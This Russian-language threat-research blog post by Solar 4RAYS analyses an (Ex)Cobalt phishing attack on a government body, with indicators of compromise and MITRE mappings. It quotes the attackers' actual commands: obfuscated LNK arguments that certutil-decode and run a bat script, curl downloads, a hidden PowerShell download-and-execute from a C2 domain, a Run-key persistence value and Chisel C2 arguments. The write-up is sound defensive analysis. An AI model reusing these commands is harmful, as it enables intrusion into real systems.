(Ex)Cobalt в новом обличье: команда Solar 4RAYS исследовала последнюю атаку известной группировки
Недавно мы запустили блог центра исследования киберугроз Solar 4RAYS, где делимся аналитикой об актуальных угрозах, результатами расследований инцидентов, полезными инструментами для реагирования на кибератаки и другими практическими материалами. Некоторые исследования из блога мы будем размещать также здесь, и вот одно из них.
В ходе расследования недавней атаки на одно из государственных учреждений мы обнаружили новые индикаторы, которые с высокой долей вероятности можно атрибутировать преступной группировке (Ex)Cobalt (также известной как Comet/Shadow/Twelve). Группировка ранее преследовала финансовую выгоду, но затем сменила вектор и стала заниматься атаками, свойственными кибершпионам. Мы выяснили, что с недавних пор злоумышленники стали использовать новую сетевую инфраструктуру и изменили технику развертывания главной вредоносной нагрузки.
Также нам удалось обнаружить несколько недавно зарегистрированных доменов, имеющих отдаленную связь с группировкой: они пока не использовались в атаках, но требуют пристального внимания, так как могут быть задействованы злоумышленниками в ближайшем будущем.
Первичный вектор заражения
В процессе исследования атаки на заказчика мы обнаружили фишинговые письма с прикрепленными архивами «Согласование сценария.rar», «Сценарий.rar». Внутри архивов находились LNK-файлы «Document_Microsoft_Word.lnk», в которых была применена любопытная техника. В overlay ярлыков содержится base64-кодированный bat-скрипт, который декодируется certutil и запускается.
В образце Document_Microsoft_Word.lnk (MD5: 375a82ae45a8041fc02a648f19154501) содержится следующая команда для запуска:
Arguments: /v /c set c="%cd%\Document_Microsoft_Word.lnk"&(if not exist "!c!" (for /f "tokens=*" %l in ('where /r "%localappdata%" Document_Microsoft_Word.?nk') do set c=%l))&>nul set e=t&set h=b&set q=%temp%&cer!e!util -decode "!c!" !q!\yoedfeyeoid.!h!at&start /b !q!\yoedfeyeoid |
С ее помощью извлекается и запускается скрипт yoedfeyeoid.bat.
В образце Document_Microsoft_Word.lnk (MD5: 3de34143d90ad3d74ae2c82d91f5ca42) команда для запуска выглядит чуть иначе:
Arguments: /v /c set d="%cd%\Document_Microsoft_Word.lnk"&(if not exist "!d!" (for /f "tokens=*" %s in ('where /r "%localappdata%" Document_Microsoft_Word.l?k') do set d=%s))&>nul set u=c&set p=b&set t=%temp%&!u!ertutil -decode "!d!" !t!\hutpjsav.!p!at&start /b !t!\hutpjsav |
Но результат тот же – извлечение и запуск скрипта hutpjsav.bat, который является первой стадией атаки после заражения через LNK-файл.
Общая схема атаки выглядит одинаково во всех изученных нами случаях. Рассмотрим ее на примере архива «Сценарий.rar» (MD5: 1c2c01c22712e0ed3444b5aae5c5dfac), который жертва получила по электронной почте:
Далее мы подробнее изучим цепочку событий, произошедших после запуска LNK-файла.
I стадия. Bat-скрипт
Извлекаемый bat-скрипт содержит в себе base64-кодированные строки, из которых собираются скрипты VBS (Visual Basic Script) и PS (PowerShell), а также docx-приманка (%TEMP%\Document_Microsoft_Word.docx). Для их сборки используется текстовый файл, который загружается с предположительно взломанного веб-сайта (hxxps://aquatech72[.]ru). Файл задает правила конкатенации строк для корректного составления вышеупомянутых файлов, используемых для следующих стадий:
curl.exe "https://aquatech72[.]ru/ebboyeewf.txt" -o %mrb%>nul curl.exe "https://aquatech72[.]ru/yyiygui.txt" -o %unc%>nul |
Команды для загрузки текстового файла, определяющего сборку скриптов
Base64-кодированные строки, имеющиеся в bat-скрипте, извлекаются с использованием утилиты certutil.exe.
Bat-скрипт также осуществляет закрепление извлеченных скриптов VBS и PS в ключе реестра по адресу HKLM|HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Наименование ключа – «XboxGamingOveray», его значение – «C:\WINDOWS\System32\wscript.exe C:\ProgramData\Packagr\XboxGamingOverlay.vbs C:\ProgramData\Packagr\».
Также в процессе исследования мы увидели другой ключ реестра – «Dathanges» – со значением «wscript.exe C:\ProgramData\Packagd\XboxGamingOverlay.vbs».
После успешной сборки следующих стадий осуществляется запуск VBS-скрипта, который, в свою очередь, запускает собранный PowerShell.
II стадия. VBS-скрипт
Вторая стадия представляет собой небольшой скрипт, единственное назначение которого – запуск ранее собранного PowerShell-скрипта следующей командой (после деобфускации):
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -ex bypass -NvLogo -NonInteractive -NoProfile -WindowStyle Hidden -File "XboxGamingOverlay.ps1" |
III стадия. PowerShell-скрипт
Обфусцированные PowerShell-скрипты загружают в память вредоносный модуль CobInt и запускают его. Имеются две версии CobInt – x86 и x64, – они обе загружаются с одного и того же удаленного сервера: hxxps://netstaticpoints[.]com. На момент исследования нагрузка была недоступна, но, основываясь на характерном шелл-коде, который мы ранее уже исследовали и который в том случае предназначался для загрузчика CobInt, можно предположить, что и здесь основной нагрузкой с высокой долей вероятности был именно CobInt.
Атаки с использованием CobInt в индустрии атрибутируются группировке Cobalt, детальное описание самого вредоносного модуля было ранее опубликовано экспертами из ИБ-сообщества.
Анализ файлов LNK и поиск аналогичных образцов
Файлы ярлыков являются кладезем информации для исследователя, так как содержат множество полезных метаданных, таких как MAC-адрес девайса, на котором файл был создан. По итогам анализа двух файлов Document_Microsoft_Word.lnk, полученных в ходе нашего расследования, было установлено, что они созданы на одном и том же хосте в одно и то же время:
Drive type: Fixed storage media (Hard drive) Serial number: BAF595C8 Machine ID: laptop-fj0h336p MAC Address: 98:43:fa:4a:9d:be MAC Vendor: (Unknown vendor) Creation: 2023-11-15 09:06:39
Volume Droid: 35ed6538-2cde-46bc-a3a8-2414e4c1c6cd Volume Droid Birth: 35ed6538-2cde-46bc-a3a8-2414e4c1c6cd File Droid: 496b729b-8396-11ee-9a39-9843fa4a9dbe File Droid birth: 496b729b-8396-11ee-9a39-9843fa4a9dbe |
В результате поиска по открытым источникам мы обнаружили файл «Zapros_13-2-16442-upr_ot_25_08_2023.lnk» (MD5: 0da63b385b2b6650dd6acf3b511e5ac8) с таким же Machine ID (laptop-fj0h336p). Он ранее был замечен и упомянут коллегами из ИБ-отрасли в контексте описания активности (Ex)Cobalt. При этом схема извлечения полезной нагрузки и запуска CobInt в расследуемом нами инциденте была изменена наряду с сетевой инфраструктурой.
Аналогичным образом был обнаружен еще один файл «CamScanner_24.11.2023_10.32.lnk» (MD5: 939cc38ef64a3e5148d889fa4423d464) и содержащий его архив «DOC009_2.rar». Детальная информация по всем описываемым файлам может быть найдена в секции IoC.
Другие файлы, участвовавшие в атаке
В процессе атаки также использовались легитимные файлы dism.exe (MD5: 472646bd684bcaac510be7f65f9a08ab), которые предположительно были нужны для эксплуатации техники DLL Sideloading:
C:\Intel\dism.exe
C:\Intel\Log\dism.exe
C:\hp\dism.exe
Также в атаке участвовали файлы, о которых нам известны только имена и SHA256 хеш-суммы, приведенные в разделе индикаторов. Примечательно, что имена файлов отсылают к продуктам Kaspersky и эта техника мимикрирования ранее уже была замечена за группировкой (Ex)Cobalt:
C:\hp\bec.exe
C:\hp\kas.exe
C:\hp\kis.exe
C:\hp\new.exe
C:\hp\prt.exe
C:\hp\prt2.exe
Среди этих файлов есть один, к которому мы получили доступ – C:\hp\kasi.exe. Он представляет собой модифицированную версию утилиты Chisel с открытым исходным кодом для создания TCP/UDP-туннелей через HTTP.
Модификации главным образом коснулись ее адаптации для использования в атаке:
был оставлен только клиент, убрана серверная составляющая утилиты;
для запуска оригинальной утилиты нужно указывать адрес С2-сервера в аргументах командной строки, злоумышленники встроили эти аргументы в саму утилиту;
изменены имена функций, при этом строки не обфусцированы (C2 не зашифрован и хранится в открытом виде);
убрана функция generatePidFile, чтобы не привлекать лишнее внимание созданием файла с PID процесса утилиты;
убраны все строки с комментариями в коде.
Встроенные аргументы командной строки «88.218.62[.]79:443» «R:9050:socks»
В скомпрометированной системе также был обнаружен скрипт 1.bat, который использовался для загрузки PowerShell-скрипта 004.ps1 с удаленного сервера techcname[.]com.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -w hidden -c iex ((New-Object Net.WebClient).DownloadString('hxxps://techcname[.]com/004.ps1')) |
При этом хеш-суммы загружаемого скрипта совпадают с хеш-суммами ранее проанализированного файла «\Packagd\XboxGamingOverlay.ps1». Мы полагаем, что это альтернативный вектор, который злоумышленники использовали для повторного заражения в ручном режиме.
Анализ сетевых индикаторов
Мы изучили серверы, используемые в исследованной атаке:
Domain | IP | Reg. date | First seen |
netstaticpoints[.]com | 45.11.181[.]152 | 2023-11-23 | 2023-11-23 |
techcname[.]com | 172.67.190[.]233 104.21.84[.]96 | 2023-11-23 | 2023-11-23 |
Оба домена зарегистрированы спустя неделю после выхода отчета о группировке, что могло сподвигнуть ее на перемещение своих ресурсов.
На момент исследования оба сервера еще были активны.
Примечательно, что домены были зарегистрированы с помощью регистратора Namecheap практически в одно и то же время с разницей в 4 секунды. Мы проанализировали другие домены, зарегистрированные в Namecheap примерно в то же время, и нашли несколько подозрительных:
Domain | Registration date |
techcname[.]com | 2023-11-23 12:18:22 |
netstaticpoints[.]com | 2023-11-23 12:18:26 |
swift-notice[.]store | 2023-11-23 12:18:32 |
swift-notice[.]online | 2023-11-23 12:18:38 |
swift-notice[.]xyz | 2023-11-23 12:18:45 |
swift-notice[.]space | 2023-11-23 12:18:47 |
swift-notice[.]site | 2023-11-23 12:18:51 |
На момент написания отчета найденные домены были припаркованы, но пока не введены в эксплуатацию. Их нельзя напрямую атрибутировать к (Ex)Cobalt, и вероятность их причастности именно к этой группировке мы оцениваем как низкую, тем не менее эти домены требуют мониторинга на предмет потенциальной вредоносной активности.
Заключение
Исследованный нами инцидент в очередной раз доказывает важность использования проактивных средств защиты, не привязанных к конкретным индикаторам, которые могут быть изменены злоумышленниками уже в следующей атаке. Группировка (Ex)Cobalt по-прежнему активна и имеет особый интерес к государственным учреждениям в России. И вряд ли такие атаки прекратятся в ближайшее время.
В отчете мы предоставили список дополнительных индикаторов, которые продолжим отслеживать на предмет появления потенциальной вредоносной активности.
Ознакомиться с другими исследованиями в блоге 4RAYS можно по ссылке.
IoC
Файловые индикаторы
Путь | MD5 | SHA1 | SHA256 |
Согласование сценария.rar | 8773ce3c1e4000f6db41a7bf0da625ad | 052d62da71a71c2ce5a5cadfbec02649c9117c43 | ce818ad10e625fa12f5d8ad4ad78bf73b8b445d996cc11ed17ef98878ec7666f |
Сценарий.rar | 1c2c01c22712e0ed3444b5aae5c5dfac | 0920fd89fd4277b918e337e52ecf751606341815 | 7f6e30b0246ccfeb0c0925c7192235ddc99d46e0b07404a939b57e68819597e1 |
Document_Microsoft_Word.lnk | 375a82ae45a8041fc02a648f19154501 | 409209b69ccc95a79ee1848bc5df8834b01b9aed | b4320f83607fb0e49d75bd8a867c52b672e24bb535c053c3fb401d6e45b2bd3b |
Document_Microsoft_Word.lnk | 3de34143d90ad3d74ae2c82d91f5ca42 | 3a5dc97a27a31f7077d6c6551269f7632f307162 | 30692be59256158f95888f11c0ff67807c3cd734448daf7b62832e4d02ffe869 |
C:\Users\«Username»\AppData\Local\Temp\hutpjsav.bat | 4a40da404e486ac0e676e651a25e8389 | e7756eaf52ef16640742810581059cb54b04c6a8 | b8ff94ea1ad2c8d8c9fa7581dee0ad23ded73de7ef3fba123cdfa84b39581143 |
C:\Users\«Username»\AppData\Local\Temp\yoedfeyeoid.bat | 831c266619f229075fc3660e144de50b | a81f1a2efa4a8898c1694b3a3a4699e9cb87347e | 898252ae7eea656cfbd7337efc3066ecf9fc3ac4211ddffdd386a95adcd659cf |
004.ps1, C:\ProgramData\Intell\Intellpui.ps1, C:\ProgramData\Packagd\XboxGamingOverlay.ps1 | 56665014a0e5b3d58b363e01e83b3f9f | 73dae2c0f466bdfc54c15f83a50d168943240152 | 46dfa8948537057c2f5ae881582b83678eb18965155de24cb632cbb1a7298060 |
C:\ProgramData\Packagr\XboxGamingOverlay.ps1 | 6eaf7f630e11a9f78cbe31d2d22858df | 538cce6325be62f533894b77d1e4cb9ae2a0cadd | 3adcf119aaaa93ed795d6d5685bb891a4054f056723e72574c48a95a78eca122 |
C:\ProgramData\Intell\Intellpui.vbs | ce2c6a4dd0a79a9e89b2c3195eee6727 | 8337e1b0abcc1b195d69ade0f7edadf8fb418cda | 14e5723d246fcf50a05cdfd6a1bb0e30ca4aca65938c98fcaced6a8f5c886596 |
C:\hp\kasi.exe | 5fc4eef37ec583caac5a71918984af53 | 630bab1432c0224c111cf81686d284d81ce35b1f | 7283a99550bb7806fd416e773baa2c542149ccb8d55e7e3d6f06d066681d7d06 |
C:\hp\bec.exe | - | - | fef8828f4a0174f146ee4de9bac9a2c085dcd1984c98b65e54ec5c0692187bf0 |
C:\hp\kas.exe | - | - | d11def8ac9f3af92c4e67e72e3da4fb2ae36dca4f34661ee5c03ff3f7330655a |
C:\hp\kis.exe | - | - | a12c3ba6ae64af819f26bd82401dc9d65bc71fe3ba3889eeefc636af39511288 |
C:\hp\new.exe | - | - | 2e2476242a182e334d28388ffa432cd7c79cc5fbcfd230de75cd3e5717088de5 |
C:\hp\prt.exe | - | - | 390dd5ec458cc289b9498313d8b74d6f2c84407c2539b745950cfd9d59f608a1 |
C:\hp\prt2.exe | - | - | d47eb1f6a3a03e7240462f41250c6df37f73889639c34a46ce965513b6cb0a63 |
| f84e409b4ca80e349a19fa7555177379 | 36f05bc39cac762fc2afd1e8444efb35f78dc97e | 723a1240e7042c87e3ca749335d9d525da566eccc0113cd5fecb92e6cc2a4552 |
Zapros_13-2-16442-upr_ot_25_08_2023.lnk | 0da63b385b2b6650dd6acf3b511e5ac8 | d90e2acca4af042fe8a76f428af6ca742224409d | ec825d1321ad1d2f819c83301c5ff1970192d45b017a53177507f5e7716bceb8 |
LetsIntell___.ps1, LetsIntell.ps1 | d5dbce918c46e9f86a35be2893c9efb2 | 2bc2b4eb37d91969f031deddac51ec0e25d9fcc7 | 7a6c75d038d7a47f87a3694bb9718b1e97a2b4aa8a9ac0fe24eeb074fd043b5c |
| 939cc38ef64a3e5148d889fa4423d464 | 583662360a3a3d400a6af62032800dae738555f7 | 8df4252241140c36fc7e5042de7fcf3544572dfc8fdc04f054559efd32d6c710 |
DOC009_2.rar | d3bb9583db450daa24f50afcea474ddc | f4f1895bce5194e26b1a8f8dc02400f8aebc1a1d | 24de8eda46c83e5f713ed7e57fb21100907ce7f6ddac1135530ea6dd45afb02b |
Сетевые индикаторы
Индикатор | Описание |
88.218.62[.]79 | Командный адрес прокси Chisel |
aquatech72[.]ru | Предположительно взломанный ресурс, откуда загружается txt для правильной сборки скриптов |
netstaticpoints[.]com | Командный сервер, на который обращаются ps1-скрипты для получения CobInt, а также предположительно командный сервер для CobInt |
techcname[.]com | Командный сервер, откуда загружался файл 004.ps1 |
MITRE TTPs
Тактика | Техника | Описание |
Initial Access | Phishing: Spearphishing Attachment T1566.001 | Проникновение через фишинг с вложениями |
Execution | User Execution: Malicious File | Выполнение нагрузки требует запуска lnk-файла пользователем |
Command and Scripting Interpreter: PowerShell T1059.001 | Применение PowerShell-скриптов | |
Command and Scripting Interpreter: Visual Basic ID: T1059.005 | Применение скриптов Visual-Basic | |
Command and Scripting Interpreter: Windows Command Shell ID: T1059.003 | Применение командных bat-скриптов | |
Persistence | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 | Закрепление с использованием \Run-ключей |
Defense Evasion | Obfuscated Files or Information: Command Obfuscation T1027.010 | Обфускация строк и команд в скриптах |
Deobfuscate/Decode Files or Information T1140 | Использование certutil, кодирование данных скриптов | |
Hijack Execution Flow: DLL Side-Loading ID: T1574.002 | Использование dism.exe для выполнения ВПО | |
Command and Control
| Application Layer Protocol: Web Protocols T1071.001 | Запросы на командные адреса с использованием HTTPS |
Ingress Tool Transfer ID: T1105 | Использование curl для загрузки с командного адреса файлов | |
Proxy ID: T1090 | Использование модифицированной программы-прокси Chisel |
Авторы: команда цифровой криминалистики и реагирования на инциденты (DFIR) центра исследования киберугроз Solar 4RAYS, ГК «Солар»